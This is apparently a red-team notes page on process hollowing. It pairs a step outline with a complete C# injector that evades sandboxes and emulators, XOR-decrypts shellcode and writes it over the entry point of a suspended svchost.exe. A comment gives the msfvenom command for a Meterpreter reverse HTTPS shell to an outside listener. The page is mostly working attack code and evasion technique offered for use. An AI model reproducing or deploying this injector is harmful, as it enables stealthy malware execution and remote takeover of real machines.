Process Hollowing

Hollow with Shellcode

1. Create the target process (e.g., svchost.exe) in a suspended state.
2. Query created process to extract its base address pointer from PEB (Process Environment Block).
3. Read 8 bytes of memory (for 64-bit architecture) pointed by the image base address pointer in order to get the actual value of the image base address.
4. Read 0x200 bytes of the loaded EXE image and parse PE structure to get the EntryPoint address.
5. Write the shellcode to the EntryPoint address and resume thread execution.
ProcessHollower.cs
1
using System;
2
using System.Runtime.InteropServices;
3
​
4
namespace ProcessHollower
5
{
6
class Program
7
{
8
public const uint CREATE_SUSPENDED = 0x4;
9
public const int ProcessBasicInformation = 0;
10
​
11
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Ansi)]
12
struct STARTUPINFO
13
{
14
public Int32 cb;
15
public IntPtr lpReserved;
16
public IntPtr lpDesktop;
17
public IntPtr lpTitle;
18
public Int32 dwX;
19
public Int32 dwY;
20
public Int32 dwXSize;
21
public Int32 dwYSize;
22
public Int32 dwXCountChars;
23
public Int32 dwYCountChars;
24
public Int32 dwFillAttribute;
25
public Int32 dwFlags;
26
public Int16 wShowWindow;
27
public Int16 cbReserved2;
28
public IntPtr lpReserved2;
29
public IntPtr hStdInput;
30
public IntPtr hStdOutput;
31
public IntPtr hStdError;
32
}
33
​
34
[StructLayout(LayoutKind.Sequential)]
35
internal struct PROCESS_INFORMATION
36
{
37
public IntPtr hProcess;
38
public IntPtr hThread;
39
public int dwProcessId;
40
public int dwThreadId;
41
}
42
​
43
[StructLayout(LayoutKind.Sequential)]
44
internal struct PROCESS_BASIC_INFORMATION
45
{
46
public IntPtr Reserved1;
47
public IntPtr PebAddress;
48
public IntPtr Reserved2;
49
public IntPtr Reserved3;
50
public IntPtr UniquePid;
51
public IntPtr MoreReserved;
52
}
53
​
54
[DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Ansi)]
55
static extern bool CreateProcess(string lpApplicationName, string lpCommandLine, IntPtr lpProcessAttributes, IntPtr lpThreadAttributes, bool bInheritHandles, uint dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory, [In] ref STARTUPINFO lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation);
56
​
57
[DllImport("ntdll.dll", CallingConvention = CallingConvention.StdCall)]
58
private static extern int ZwQueryInformationProcess(IntPtr hProcess, int procInformationClass, ref PROCESS_BASIC_INFORMATION procInformation, uint ProcInfoLen, ref uint retlen);
59
​
60
[DllImport("kernel32.dll", SetLastError = true)]
61
static extern bool ReadProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, [Out] byte[] lpBuffer, int dwSize, out IntPtr lpNumberOfBytesRead);
62
​
63
[DllImport("kernel32.dll")]
64
static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, Int32 nSize, out IntPtr lpNumberOfBytesWritten);
65
​
66
[DllImport("kernel32.dll", SetLastError = true)]
67
private static extern uint ResumeThread(IntPtr hThread);
68
​
69
[DllImport("kernel32.dll")]
70
static extern void Sleep(uint dwMilliseconds);
71
​
72
[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
73
static extern IntPtr VirtualAllocExNuma(IntPtr hProcess, IntPtr lpAddress, uint dwSize, UInt32 flAllocationType, UInt32 flProtect, UInt32 nndPreferred);
74
​
75
[DllImport("kernel32.dll")]
76
static extern IntPtr GetCurrentProcess();
77
​
78
static void Main(string[] args)
79
{
80
// Check if we're in a sandbox by calling a rare-emulated API
81
if (VirtualAllocExNuma(GetCurrentProcess(), IntPtr.Zero, 0x1000, 0x3000, 0x4, 0) == IntPtr.Zero)
82
{
83
return;
84
}
85
​
86
// Sleep to evade in-memory scan + check if the emulator did not fast-forward through the sleep instruction
87
var rand = new Random();
88
uint dream = (uint)rand.Next(10000, 20000);
89
double delta = dream / 1000 - 0.5;
90
DateTime before = DateTime.Now;
91
Sleep(dream);
92
if (DateTime.Now.Subtract(before).TotalSeconds < delta)
93
{
94
Console.WriteLine("Charles, get the rifle out. We're being fucked.");
95
return;
96
}
97
​
98
// msfvenom -p windows/x64/meterpreter/reverse_https LHOST=10.10.13.37 LPORT=443 -f csharp --encrypt xor --encrypt-key a
99
byte[] buf = new byte[???] {
100
0x31,0x33,...,0x33,0x37 };
101
​
102
// XOR-decrypt the shellcode
103
for (int i = 0; i < buf.Length; i++)
104
{
105
buf[i] = (byte)(buf[i] ^ (byte)'a');
106
}
107
​
108
// Create the target process (e.g., svchost.exe) in a suspended state
109
STARTUPINFO si = new STARTUPINFO();
110
PROCESS_INFORMATION pi = new PROCESS_INFORMATION();
111
bool res = CreateProcess(null, "C:\\Windows\\System32\\svchost.exe", IntPtr.Zero, IntPtr.Zero, false, CREATE_SUSPENDED, IntPtr.Zero, null, ref si, out pi);
112
​
113
// Query created process to extract its base address pointer from PEB (Process Environment Block)
114
PROCESS_BASIC_INFORMATION bi = new PROCESS_BASIC_INFORMATION();
115
uint tmp = 0;
116
IntPtr hProcess = pi.hProcess;
117
ZwQueryInformationProcess(hProcess, ProcessBasicInformation, ref bi, (uint)(IntPtr.Size * 6), ref tmp);
118
// Pointer to the base address of the EXE image: BASE_ADDR_PTR = PEB_ADDR + 0x10
119
IntPtr ptrImageBaseAddress = (IntPtr)((Int64)bi.PebAddress + 0x10);
120
​
121
// Read 8 bytes of memory (IntPtr.Size is 8 bytes for x64) pointed by the image base address pointer (ptrImageBaseAddress) in order to get the actual value of the image base address
122
byte[] baseAddressBytes = new byte[IntPtr.Size];
123
IntPtr nRead = IntPtr.Zero;
124
ReadProcessMemory(hProcess, ptrImageBaseAddress, baseAddressBytes, baseAddressBytes.Length, out nRead);
125
// We're got bytes as a result of memory read, then converted them to Int64 and casted to IntPtr
126
IntPtr imageBaseAddress = (IntPtr)(BitConverter.ToInt64(baseAddressBytes, 0));
127
​
128
// Read 200 bytes of the loaded EXE image and parse PE structure to get the EntryPoint address
129
byte[] data = new byte[0x200];
130
ReadProcessMemory(hProcess, imageBaseAddress, data, data.Length, out nRead);
131
// "e_lfanew" field (4 bytes, UInt32; contains the offset for the PE header): e_lfanew = BASE_ADDR + 0x3C
132
uint e_lfanew = BitConverter.ToUInt32(data, 0x3C);
133
// EntryPoint RVA (Relative Virtual Address) offset: ENTRYPOINT_RVA_OFFSET = e_lfanew + 0x28
134
uint entrypointRvaOffset = e_lfanew + 0x28;
135
// EntryPoint RVA (4 bytes, UInt32; contains the offset for the executable EntryPoint address): ENTRYPOINT_RVA = BASE_ADDR + ENTRYPOINT_RVA_OFFSET
136
uint entrypointRva = BitConverter.ToUInt32(data, (int)entrypointRvaOffset);
137
// Absolute address of the executable EntryPoint: ENTRYPOINT_ADDR = BASE_ADDR + ENTRYPOINT_RVA
138
IntPtr entrypointAddress = (IntPtr)((UInt64)imageBaseAddress + entrypointRva);
139
​
140
// Write the shellcode to the EntryPoint address and resume thread execution
141
WriteProcessMemory(hProcess, entrypointAddress, buf, buf.Length, out nRead);
142
ResumeThread(pi.hThread);
143
}
144
}
145
}
Copied!

Hollow with EXE

Last modified 3mo ago